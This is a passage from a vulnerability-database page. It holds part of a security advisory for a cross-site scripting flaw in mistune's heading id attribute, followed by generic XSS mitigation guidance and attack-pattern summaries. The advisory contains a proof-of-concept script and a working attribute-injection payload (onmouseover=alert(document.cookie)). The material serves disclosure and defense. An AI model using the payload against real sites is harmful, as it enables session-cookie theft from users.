\u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "GHSA-v87v-83h2-53w7",
  "modified": "2026-06-08T23:30:23Z",
  "published": "2026-05-09T00:13:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS"
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
Implementation Architecture and Design
  • Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
  • Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
  • etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
  • Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property
Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
  • Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-209: XSS Using MIME Type Mismatch

An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.

CAPEC-588: DOM-Based XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.

CAPEC-591: Reflected XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.

CAPEC-592: Stored XSS

An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.

CAPEC-63: Cross-Site Scripting (XSS)

An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

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